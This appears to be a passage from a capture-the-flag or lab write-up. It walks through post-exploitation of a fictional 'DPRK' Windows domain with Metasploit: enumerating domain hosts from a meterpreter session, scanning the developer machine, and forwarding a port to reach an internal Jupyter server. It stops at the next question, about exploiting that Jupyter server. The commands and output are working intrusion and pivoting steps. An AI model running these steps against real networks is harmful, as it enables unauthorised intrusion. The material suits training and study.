

## Question

What is the IP address of the developer's machine?

```
msf5 post(multi/gather/dns_reverse_lookup) > use post/windows/gather/enum_computers
msf5 post(windows/gather/enum_computers) > show options

Module options (post/windows/gather/enum_computers):

  Name      Current Setting  Required  Description
  ----      -
  SESSION           yes        The session to run this module on.

msf5 post(windows/gather/enum_computers) > set session 1
session => 1
msf5 post(windows/gather/enum_computers) > exploit

[*] Running module against KPASRF-INTERNET

List of Domain Hosts for the primary Domain.
=====

Domain  Hostname      IPs
-----  -
DPRK    ADMINISTRATOR 192.168.100.25
DPRK    DC             192.168.100.250
DPRK    DEVELOPER      192.168.100.15
DPRK    GLORIOUSLEADER 192.168.100.20
DPRK    KPASRF-INTERNET 192.168.100.240
DPRK    PLANNER        192.168.100.10

[*] Post module execution completed
```

Flag: 192.168.100.15

## Question

The developer's machine heavily firewalled off but appears to be running a web server... this could potentially be interesting, let's scan and investigate!

What is the application running on port 80 of the developer's machine? Note: we're looking for the name of the web application, not the name of the web server.

```
msf5 auxiliary(scanner/http/http_version) > set rhosts 192.168.100.15
rhosts => 192.168.100.15
msf5 auxiliary(scanner/http/http_version) > show options

Module options (auxiliary/scanner/http/http_version):

  Name      Current Setting  Required  Description
  ----      -
  Proxies    192.168.100.15  no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.100.15  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80              yes       The target port (TCP)
  SSL        false           no        Negotiate SSL/TLS for outgoing connections
  THREADS    1              yes       The number of concurrent threads (max one per host)
  VHOST      no              no        HTTP server virtual host

msf5 auxiliary(scanner/http/http_version) > exploit

[*] 192.168.100.15:80 TornadoServer/4.4.2 ( 302-/tree? )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/http_version) >
```

```
meterpreter > portfwd add -l 4446 -p 80 -r 192.168.100.15
[*] Local TCP relay created: :4446 ↔ 192.168.100.15:80
```

```
kali@kali:~$ netstat -antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:4445            0.0.0.0:*               LISTEN      289357/ruby
tcp        0      0 0.0.0.0:4446            0.0.0.0:*               LISTEN      289357/ruby
tcp        0      1 10.24.0.153:42124       192.168.51.66:4446     SYN_SENT    290800/x-www-browser
tcp        0      1 10.24.0.153:42122       192.168.51.66:4446     SYN_SENT    290800/x-www-browser
tcp        0      0 10.24.0.153:4444        192.168.51.66:49473    ESTABLISHED 289357/ruby
tcp6       0      0 :::1:3350               :::*                   LISTEN      -
tcp6       0      0 :::22                   :::*                   LISTEN      -
tcp6       0      0 :::3389                  :::*                   LISTEN      -
tcp6       0      0 172.31.11.92:3389       172.31.55.55:58372     ESTABLISHED -
```

Browser window showing the URL: `localhost:4446/tree?`



Files

Running

Clusters

Select items to perform actions on them.



☐  [tlc.py](#)

Flag: jupyter

## Question

Usually Jupyter is only available on localhost. The developer must have opened it up for collaboration. Let's see if we can exploit this to get access to his machine.

What is the full path to the `tlc.py` file shown in Jupyter?